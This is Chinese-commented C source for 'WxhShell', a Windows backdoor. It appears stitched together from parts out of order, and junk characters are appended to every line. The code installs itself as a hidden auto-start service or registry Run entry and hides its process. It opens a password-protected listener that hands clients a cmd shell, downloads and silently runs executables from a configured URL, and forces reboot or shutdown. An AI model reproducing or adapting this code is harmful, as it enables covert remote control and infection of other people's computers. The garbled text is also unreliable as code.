    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )P])0Y-  
    if(Boot(SHUTDOWN)) {D#`+uw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n5/Q)*e0'#  
    else {  (v}:  
    closesocket(wsh); YJ$ =`lIM  
    ExitThread(0); kRPg^Fw"Vw  
    } 0rUf'S ?K  
    break; @9a=D<'>  
    } s,x]zG"  
  // 获取shell eW%jDsC  
  case 's': { $Plk4 o*g  
    CmdShell(wsh); Tkf !Y?  
    closesocket(wsh); yL-L2  
    ExitThread(0); X;tk\Ixd  
    break; 89bKnsV  
  } }fZBP]<I(  
  // 退出 VCO/s9AL  
  case 'x': { -%|I  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m6D4J=59  
    CloseIt(wsh); (#qVtN`t  
    break; N%+M+zEJ  
    } <Z;BB)I&C`  
  // 离开 dPId= w)  
  case 'q': { 7(Kc9sJC%%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %|>i2  
    closesocket(wsh); `314.a6S  
    WSACleanup(); 7&1: ]{_  
    exit(1); EK_^#b  
    break; sP%.o7&n  
        } >rubMGb  
  } +l(}5(wc  
  } ><~hOK?v  
I5]zOKlVR  
  // 提示信息 w0iE x1i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rB]/N,R   
} u.6%n. g  
  } {'%=tJ[YX  
TF>F7v(,45  
  return; da@ .J9  
} v#xF;@G  
|Oe6OCPf  
// shell模块句柄 Wt =[R 4=  
int CmdShell(SOCKET sock) 2_Z6 0]  
{ RU=%yk-gM  
STARTUPINFO si; It[~0?+  
ZeroMemory(&si,sizeof(si)); FBsw\P5w  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `u-Y 5mY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &7LfNN`  
PROCESS_INFORMATION ProcessInfo; 0ZN/-2c A#  
char cmdline[]="cmd"; mf#oa~_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); WyP1"e^ 9  
  return 0; ZUycJ-[  
} #A!0KN;GC2  
cf9y0  
// 自身启动模式 {;U:0BPI3  
int StartFromService(void) Nsq%b?#  
{ iKwVYL  
typedef struct .PgkHb=l@  
{ *6L^A`_1]  
  DWORD ExitStatus; "'Ik{wGc  
  DWORD PebBaseAddress; vq}V0- <  
  DWORD AffinityMask; 7+"X ^$  
  DWORD BasePriority; U N/.T   
  ULONG UniqueProcessId; Ad`IgZ  
  ULONG InheritedFromUniqueProcessId; -SQYr  
}   PROCESS_BASIC_INFORMATION; A:f+x|[  
eR CGr?e4  
PROCNTQSIP NtQueryInformationProcess; Zh@\+1]  
f+ &yc'[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |@RO&F  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2k_Bo~.  
sdLFBiR  
  HANDLE             hProcess; >:=TS"}yS}  
  PROCESS_BASIC_INFORMATION pbi; 2r,fF<WQ  
15COwc*k  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?4_;9MkN  
  if(NULL == hInst ) return 0; ; OsN^   
Hi Yx(hY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %}/)_RzQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4J  s>yP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hf[K\aAk  
S`::f(e  
  if (!NtQueryInformationProcess) return 0; 7j+.H/2  
t%)L8%Jr  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vzL>ZBe Z  
  if(!hProcess) return 0; ]#nAld1cmy  
<FP -]R)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Xp' KQ1w)  
{RK#W~h  
  CloseHandle(hProcess); rTH@PDk>)  
_R]h]<TQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bWqGy pq4  
if(hProcess==NULL) return 0; <YC{q>EMc  
]@xc9 tlG  
HMODULE hMod; +=R:n^r^,  
char procName[255]; ?NL2|8  
unsigned long cbNeeded; \vI_%su1N  
XP'KgTF  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]n+:lsiV  
UJb7v:^  
  CloseHandle(hProcess); }~7>S5  
$hL0/T-m  
if(strstr(procName,"services")) return 1; // 以服务启动 m2;%|QE(  
|:\h3M  
  return 0; // 注册表启动 PSRGlxdO  
} JOMZ&c^  
KksbhN{AB  
// 主模块 Z5\6ca  
int StartWxhshell(LPSTR lpCmdLine) <C&UD j  
{ nJ,56}  
  SOCKET wsl; Ac|`5'/Tx  
BOOL val=TRUE; v#~,)-D&  
  int port=0; ' |4XyU=  
  struct sockaddr_in door; H Q2-20  
pH4i6B*5  
  if(wscfg.ws_autoins) Install(); q+K`+& @\  
M?,;TJ7Gd  
port=atoi(lpCmdLine); txi m|)  
!54%}x)3  
if(port<=0) port=wscfg.ws_port; HjK|9  
@y,p-##e  
  WSADATA data; '!_o`t@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; uuq?0t2Z  
D!:Qy@Zw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b c+' n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hJ|z8Sy@1  
  door.sin_family = AF_INET; TqWvHZX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ag3T[}L z  
  door.sin_port = htons(port); PgVM>_nHk  
ar6Z?v$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3LEN~ N}  
closesocket(wsl); (F @IUbnl  
return 1; 8} U/fQ~  
} ^0r @",  
+Y .As  
  if(listen(wsl,2) == INVALID_SOCKET) { ;G w5gK^  
closesocket(wsl); YXmLd'F^3  
return 1; _8bqk\m+  
} P?bdjU#_n`  
  Wxhshell(wsl); 3,pRmdC  
  WSACleanup(); I!bG7;=_  
m8FKr/Z-  
return 0; L|c01  
mk[n3oE1  
} Jap v<lV%  
QII>XJ9  
// 以NT服务方式启动 b7\nCRY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _3)~{dQ+  
{ d@C93VYp  
DWORD   status = 0; _mcD*V  
  DWORD   specificError = 0xfffffff; 9;:Lf  
Orz Dr  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  6CCM7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I+}h+[W  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V;>p@uE,P  
  serviceStatus.dwWin32ExitCode     = 0; `LNRl'Z m  
  serviceStatus.dwServiceSpecificExitCode = 0; 9X!OQxmg  
  serviceStatus.dwCheckPoint       = 0; J H6\;G6  
  serviceStatus.dwWaitHint       = 0; P,,@&* :  
`TAhW  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); eQMY3/#  
  if (hServiceStatusHandle==0) return; W4Zi?@L>'  
/H}83 C  
status = GetLastError(); ?:UDK?  
  if (status!=NO_ERROR) vRm;H|[%S  
{ `2GHB@S"k  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2 &R-z G  
    serviceStatus.dwCheckPoint       = 0; ;hRo} +\l  
    serviceStatus.dwWaitHint       = 0; [IiwpC  
    serviceStatus.dwWin32ExitCode     = status;  ~UXW  
    serviceStatus.dwServiceSpecificExitCode = specificError; *ozeoX'5D  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZVeY`o(uE  
    return; la f b^  
  } C]{43  
YrA#NTB_o  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; + -U7ogs  
  serviceStatus.dwCheckPoint       = 0; |',MgA  
  serviceStatus.dwWaitHint       = 0; yY8q{\G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~Q5L)}8N  
} xqIt?v2c  
 $ l Y  
// 处理NT服务事件,比如:启动、停止 a:1-n %&F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) o ;.j_  
{ $n!saPpxS  
switch(fdwControl) `j@2[XdHu  
{ `ez_ {  
case SERVICE_CONTROL_STOP: kAU[lPt*R  
  serviceStatus.dwWin32ExitCode = 0; U^[<G6<9]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7?e*b(vd  
  serviceStatus.dwCheckPoint   = 0; vWwp'q  
  serviceStatus.dwWaitHint     = 0; e;!si>N  
  { g;vG6!;E\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OSxr@  
  } =ejkE; %L  
  return; @"];\E$sI  
case SERVICE_CONTROL_PAUSE: vTN$SgzfCU  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; YS%HZFY, "  
  break; _r&`[@m  
case SERVICE_CONTROL_CONTINUE: v 6Tz7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !\2Xr{f  
  break; 8h}o5B  
case SERVICE_CONTROL_INTERROGATE: 7@5}WNr  
  break; 9tWu>keu  
}; iq=<LOx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BG/M3  
} j$siCsF  
eNpGa0 eG  
// 标准应用程序主函数 an=8['X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~[t%g9  
{ b v~"_)C  
K'Wg_ihA  
// 获取操作系统版本 p8frSrcU  
OsIsNt=GetOsVer(); *ax$R6a#X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &+Xj%x.]  
_|`S9Nms  
  // 从命令行安装 W/L~&.'  
  if(strpbrk(lpCmdLine,"iI")) Install(); V'^Hn?1^  
D!+d]A[r  
  // 下载执行文件 H9F\<5n]-l  
if(wscfg.ws_downexe) { ymiOtA Z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ESft:3xyw  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]:8:|*w  
} Wyd,7]'z)Z  
cE$7CSR  
if(!OsIsNt) { ??Q'| r  
// 如果时win9x,隐藏进程并且设置为注册表启动 tY~EB.%  
HideProc(); ~sx?aiO  
StartWxhshell(lpCmdLine); fKb8)PDP  
} Z`Rrv$M!  
else Nyip]VwMJ  
  if(StartFromService()) [}}?a   
  // 以服务方式启动 y}Oc^Fc  
  StartServiceCtrlDispatcher(DispatchTable); :>c33X}  
else FIDV5Y/f  
  // 普通方式启动 >$j?2,Za(V  
  StartWxhshell(lpCmdLine); .Ce30VE-  
HM /2/ /  
return 0; DKp+ nq$  
} 3dTz$s/[  
fucG 9B  
Q30A aG}f  
~7IXJeon  
=========================================== "AMbU6 8  
| U )  
3A!`U6C(  
YzNSZJPD  
Btp 9v<"  
Qyx%:PE  
" =dSH8C"  
s]@()?.E$  
#include <stdio.h> T{<riJ`O  
#include <string.h> Zn0e#n  
#include <windows.h> F !g>fIg  
#include <winsock2.h> 4i|yEf  
#include <winsvc.h> LVP2jTz  
#include <urlmon.h> 38#BINhBt  
wc`UcGO  
#pragma comment (lib, "Ws2_32.lib") nLicog)!I  
#pragma comment (lib, "urlmon.lib") F!(Vg  
H0r@dn  
#define MAX_USER   100 // 最大客户端连接数 I7,5ID4pn  
#define BUF_SOCK   200 // sock buffer F,5~a_GP?  
#define KEY_BUFF   255 // 输入 buffer P'MfuTtT&  
)_BQ@5NK  
#define REBOOT     0   // 重启 (?4m0Sn>#h  
#define SHUTDOWN   1   // 关机 .5*5S[  
jwhc;y  
#define DEF_PORT   5000 // 监听端口 dxfF.\BFDn  
/vO8s??  
#define REG_LEN     16   // 注册表键长度 8T-/G9u  
#define SVC_LEN     80   // NT服务名长度 i[_B~/_  
'-c *S]:r  
// 从dll定义API /6",#B}%b  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -|V1A[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); imw,Nb  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "%]<Co<S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?"04u*u3  
|iSd<  
// wxhshell配置信息 Z$jqB~=^e  
struct WSCFG { In13crr4!  
  int ws_port;         // 监听端口 o?5m^S14[1  
  char ws_passstr[REG_LEN]; // 口令 W'lejOiw  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~j3O0s<gK  
  char ws_regname[REG_LEN]; // 注册表键名 _[F(8Q x"  
  char ws_svcname[REG_LEN]; // 服务名 X\&CQiPS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S7a05NO  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 cH>@ZFTF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [>--U)/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no e7tp4M9!%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^I W5c>;|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r)<c ~\0 7  
gOb"-;Zw  
}; dmA#v:$1  
PzF>yG[  
// default Wxhshell configuration jEhPx  
struct WSCFG wscfg={DEF_PORT, &FrUj>i  
    "xuhuanlingzhe", 1?I_fA}  
    1, YF8;s4  
    "Wxhshell", R|D%1@i]  
    "Wxhshell", *{y({J  
            "WxhShell Service", <tUl(q+ty  
    "Wrsky Windows CmdShell Service", z H|YVg  
    "Please Input Your Password: ", (>]frlEU~  
  1, xB4}9zN s  
  "http://www.wrsky.com/wxhshell.exe", Wdk]>w 'L  
  "Wxhshell.exe" UA4="/  
    }; Z-%zR'-?*  
xQUskjv/  
// 消息定义模块 rF?gKk  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; O, .c gX   
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'Nkd *  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -XASS%  
char *msg_ws_ext="\n\rExit."; kF]sy8u]  
char *msg_ws_end="\n\rQuit."; l6_dVK;s  
char *msg_ws_boot="\n\rReboot..."; iH a:6  
char *msg_ws_poff="\n\rShutdown..."; wE~&Y? ^  
char *msg_ws_down="\n\rSave to "; R1 C}S  
WU$l@:Yo  
char *msg_ws_err="\n\rErr!"; v_|k:l  
char *msg_ws_ok="\n\rOK!"; h;[<4zw  
1u8 k}  
char ExeFile[MAX_PATH]; g{6FpuA|0  
int nUser = 0; 5 6JxHQu  
HANDLE handles[MAX_USER]; z!s1$5:"0  
int OsIsNt; ~n=oPm$pR  
6L<Y   
SERVICE_STATUS       serviceStatus; 1S+lHG92I  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *3iEO>  
+-r ~-bs  
// 函数声明 J5!-<oJ/  
int Install(void); y g:&cIr,  
int Uninstall(void); O2qy[]km  
int DownloadFile(char *sURL, SOCKET wsh); 6nA/LW\x  
int Boot(int flag); WhT5NE9t  
void HideProc(void); Ev Ye1Y-  
int GetOsVer(void); k*4!rWr0r&  
int Wxhshell(SOCKET wsl); %ZsdCQc{`  
void TalkWithClient(void *cs); HT:V;?"  
int CmdShell(SOCKET sock); 1K#%mV_  
int StartFromService(void); XjXz#0nR  
int StartWxhshell(LPSTR lpCmdLine); b|-}?@&7&q  
i&TWIl8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); cY^'Cj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #=V\WQb  
:u]QEZ@@  
// 数据结构和表定义 ;#bDz}|\AN  
SERVICE_TABLE_ENTRY DispatchTable[] = 6Vgxfic  
{ 6e>P!bo  
{wscfg.ws_svcname, NTServiceMain}, j=dGNi)R  
{NULL, NULL} x,NV{uG$n  
}; 4 _P6P  
2#(dfEAy  
// 自我安装 6]r#6c %  
int Install(void) !o`riQLs>  
{ :al ,zxs  
  char svExeFile[MAX_PATH]; ,! H`@Kl  
  HKEY key; D"msD"  
  strcpy(svExeFile,ExeFile); Q h{P>}  
4V&(w, zl  
// 如果是win9x系统,修改注册表设为自启动 SM8f"H28  
if(!OsIsNt) { 8 =oUE$9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0qq>(K[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z aYUf  
  RegCloseKey(key); Mt4*`CxtH;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k:F{U^!p|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [sNvCE$\]  
  RegCloseKey(key); @#=yC.s  
  return 0; *C);IdhK%y  
    } Tb:6IC7="  
  } ~ o=kW2Y  
} 7,s5Gd-  
else { LAFxeo  
-^Qm_lN  
// 如果是NT以上系统,安装为系统服务 &+0?Xip{Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V x{   
if (schSCManager!=0) O\SH;y,N  
{ m3~_uc/+D  
  SC_HANDLE schService = CreateService O"X:3srJ`  
  ( V.%LA. 8  
  schSCManager, fK _uuw4  
  wscfg.ws_svcname, '#C5m#v  
  wscfg.ws_svcdisp, ce [ Maw  
  SERVICE_ALL_ACCESS, `mH]QjAO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v\@pZw=x  
  SERVICE_AUTO_START, Jj/}GVNc7  
  SERVICE_ERROR_NORMAL, y=0)vi{]  
  svExeFile, GExr] 2r  
  NULL, kl1/(  
  NULL, ;|`< B7xf  
  NULL, } eF r,bJ  
  NULL, g[*"LOw  
  NULL _pmo 6O  
  ); S17;;w0  
  if (schService!=0) \Q^grX  
  { 0(>3L:  
  CloseServiceHandle(schService); ^/VnRpU  
  CloseServiceHandle(schSCManager); {+]tx46$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W^7yh&@lU  
  strcat(svExeFile,wscfg.ws_svcname); &>!-67  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f@gvDo]Y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); b0/YX@  
  RegCloseKey(key); AB{zkEuK  
  return 0; ~0h@p4  
    } &=f?:UZ%  
  } xYZ,.  
  CloseServiceHandle(schSCManager); xs&xcR R"  
} q6ZewuV.  
} (I`lv=R"j  
`v-O 4Pk  
return 1; *\@RBJGF  
} a`8]TD  
&Yo|Pj  
// 自我卸载 FJ^\K+;  
int Uninstall(void) yh/JHo;  
{ UM`{V5NG#  
  HKEY key; *$5p,m6G  
+$Y*1{hyOo  
if(!OsIsNt) { h$}PQ   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u0]u"T&N!  
  RegDeleteValue(key,wscfg.ws_regname); 3IJ0 P.x!o  
  RegCloseKey(key); @lq)L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A;^ iy]"  
  RegDeleteValue(key,wscfg.ws_regname); ]28j$)6  
  RegCloseKey(key); QT5pn5+ z  
  return 0; t\h4-dJn  
  } _Hd|y  
}  q(X7e  
} WNZYs  
else { V= -  
6O,:I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); in5e *  
if (schSCManager!=0) l p(D@FT  
{ -Lq2K3JHyn  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yZ[=Y  
  if (schService!=0) rHM^_sYRb  
  { GXIzAB(  
  if(DeleteService(schService)!=0) { &2U%/JqY  
  CloseServiceHandle(schService); `GkCOx,  
  CloseServiceHandle(schSCManager); a#{"3Z2|  
  return 0; :b*7TJ\grN  
  } G"m?2$^-A  
  CloseServiceHandle(schService); V2|By,.  
  } {F2Rv  
  CloseServiceHandle(schSCManager); e&2,cQRFV  
} f,F1k9-1!  
} W/%hS)75  
[& Z- *a  
return 1; 7{(UiQbf  
} KK5;6b  
fm@Pa} ,  
// 从指定url下载文件 _5H~1G%q  
int DownloadFile(char *sURL, SOCKET wsh) U[|5:qWs  
{ 3 tCTPZy  
  HRESULT hr; tjwn FqI  
char seps[]= "/"; D(;+my2  
char *token; 6^t#sEff]  
char *file; 6%h%h: e  
char myURL[MAX_PATH]; O_7}H)  
char myFILE[MAX_PATH]; 'l=>H#}<B  
$8i`h}AM  
strcpy(myURL,sURL); R<Mc+{*>  
  token=strtok(myURL,seps); %8 D>aS U  
  while(token!=NULL) `^,E4Qy  
  { oH+PlL  
    file=token; XI ;] c5  
  token=strtok(NULL,seps); 8nu!5 3  
  } Pc=ei  
FwlD P  
GetCurrentDirectory(MAX_PATH,myFILE); 8'L:D  
strcat(myFILE, "\\"); vBOY[>=  
strcat(myFILE, file); p^*a>d:d]  
  send(wsh,myFILE,strlen(myFILE),0); H8I)D& cw  
send(wsh,"...",3,0); AT+ l%%   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B`<}YVA  
  if(hr==S_OK) 3cgq'ob  
return 0; uS,?oS  
else 4r `I)  
return 1; <8;~4"'a  
38T] qz[Sn  
} l`N4P  
)DhE~  
// 系统电源模块 ;"u,G!  
int Boot(int flag) 5I,NvHD4  
{ tM;cvc`/  
  HANDLE hToken; A_\Jb}J1<  
  TOKEN_PRIVILEGES tkp; xGQP*nZ  
qR!ZtJ5j  
  if(OsIsNt) { [uHU[ sG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z{BK@Q4z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~] V62^0  
    tkp.PrivilegeCount = 1; }~|`h1JF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Uz_p-J0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =.;ib6M  
if(flag==REBOOT) { R;pW,]}g,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xjiV9{w  
  return 0; g_IcF><F  
} .:f ao'  
else { ?8{Os;!je  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K=HLMDs  
  return 0; .`m|Uf#" _  
} $x`HmL3Sb  
  } ZP!.C&O  
  else { 3e;|KU   
if(flag==REBOOT) { /KWdIP#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Nwt[)\W `  
  return 0; ?wPTe^Qtv  
} #7Q9^rG  
else { i a!!jK}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]|eMEN['  
  return 0; \fEG5/s}T  
} G-2~$ u  
} q[VQ?b~9  
l"E{ ?4  
return 1; }dzVwP=  
} p@% Pdx  
$3l#eKZA  
// win9x进程隐藏模块 .z_nW1id  
void HideProc(void) {Kr}RR*{X  
{ ~`&4?c3p  
;"0bVs`.^e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *X$qgSW  
  if ( hKernel != NULL ) >QvqH 2  
  { C_/eNu\I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r<1W.xd":  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #*.4Jv<R  
    FreeLibrary(hKernel); +58^{_k+%  
  } FS&QF@dtgf  
1aO(+](;  
return; MbCz*oW  
} 'l<$H=ZUVG  
]Ss63Vd  
// 获取操作系统版本 g2TK(S|#  
int GetOsVer(void) r3U7`P   
{ >^`#%$+  
  OSVERSIONINFO winfo; Mn/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gizY4~ j  
  GetVersionEx(&winfo); 1}|y^oB\-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,"`3N2!Y}  
  return 1; \mGb|aF8  
  else  *\xRNgEQ  
  return 0; ]~dB| WB  
} 9 c9$cnQ  
xjU0&  
// 客户端句柄模块 hz;SDaBA  
int Wxhshell(SOCKET wsl) `Zo5!"'  
{ jrN 5l1np  
  SOCKET wsh; #e-7LmO~  
  struct sockaddr_in client; c^1JSGv  
  DWORD myID; OfBWf6b  
aC1 xt(  
  while(nUser<MAX_USER) 89D`!`Ah]  
{ M5+R8ttc  
  int nSize=sizeof(client); =/|GWQ j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =Xr{ Dg  
  if(wsh==INVALID_SOCKET) return 1; ,e1c,}  
uGXvP(Pg'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~I> |f  
if(handles[nUser]==0) W`_Wi*z4  
  closesocket(wsh); 3=ME$%f  
else rjcH[U(  
  nUser++; rtvLLOIO  
  } |>j^$^l~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;WN% tI)  
Ja*,ht(5  
  return 0; dfVI*5[Z  
} ( zm!_~1  
V4"o.G3\o  
// 关闭 socket 8i`T?KB  
void CloseIt(SOCKET wsh) :%mls Nw  
{ |AvsT{2  
closesocket(wsh); ~!TrC <ft  
nUser--; ._x"b5C  
ExitThread(0); : c iwh  
} >^9j>< Z  
!lEV^SQJs  
// 客户端请求句柄 }.|a0N 5  
void TalkWithClient(void *cs) LL3| U  
{ fy>3#`T-  
!$iwU3~<  
  SOCKET wsh=(SOCKET)cs; Z%.L d2Q{  
  char pwd[SVC_LEN]; jK6dI 7h  
  char cmd[KEY_BUFF]; ?P7QAolrr  
char chr[1]; L67yL( d6a  
int i,j; l@UF-n~[  
>/C,1}p[  
  while (nUser < MAX_USER) { /P3Pv"r|8]  
L)|hjpQ  
if(wscfg.ws_passstr) { FN sSJU3ld  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U/U_q-z]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); olo9YrHn  
  //ZeroMemory(pwd,KEY_BUFF); T[},6I|!  
      i=0; A;C4>U Y  
  while(i<SVC_LEN) { O[1Q#  
, 82?kky  
  // 设置超时 0[g5[?Vy  
  fd_set FdRead; i0x[w>\-  
  struct timeval TimeOut; UeB St.  
  FD_ZERO(&FdRead); :WH0=Bieh  
  FD_SET(wsh,&FdRead); w{;bvq%lY  
  TimeOut.tv_sec=8; fH ,h\0  
  TimeOut.tv_usec=0; !h1|B7N  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'zt}\ Dt  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o~:({  
}darXtZKkK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9ys[xOh WM  
  pwd=chr[0]; >> -{AR0  
  if(chr[0]==0xd || chr[0]==0xa) { G7-.d/8|^  
  pwd=0; W}(xE?9&  
  break; sV~|9/r  
  } Cq=k3d#}  
  i++; :oZ~&H5Q  
    } sDHFZ:W  
`kOp9(Q{  
  // 如果是非法用户,关闭 socket i}:^<jDv?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,+n{xI2  
} ]tK<[8Y  
gavf$be  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V,tYqhQ3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :VRQd}$Pi  
[9CBTS r  
while(1) { 4%jSqT@  
v>Kv!OY:c  
  ZeroMemory(cmd,KEY_BUFF); %. IW H9P7  
|oOA;JC)(  
      // 自动支持客户端 telnet标准   pi*?fUg!W  
  j=0; [DSzhi]  
  while(j<KEY_BUFF) { J72kjj&C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8+_e=_3R  
  cmd[j]=chr[0]; ` NvJ  
  if(chr[0]==0xa || chr[0]==0xd) { ''EFh&F  
  cmd[j]=0; UUgc>   
  break; ;2eZa|M*q  
  } PTA_erU  
  j++; vN)l3  
    } Kzfy0LWM  
 #|l#  
  // 下载文件 -S $Y0FDV  
  if(strstr(cmd,"http://")) { )Oj%3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); pEGHW;  
  if(DownloadFile(cmd,wsh)) @2A&eLw LH  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z oKXao  
  else lS`VJA6l.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x5W@zqj  
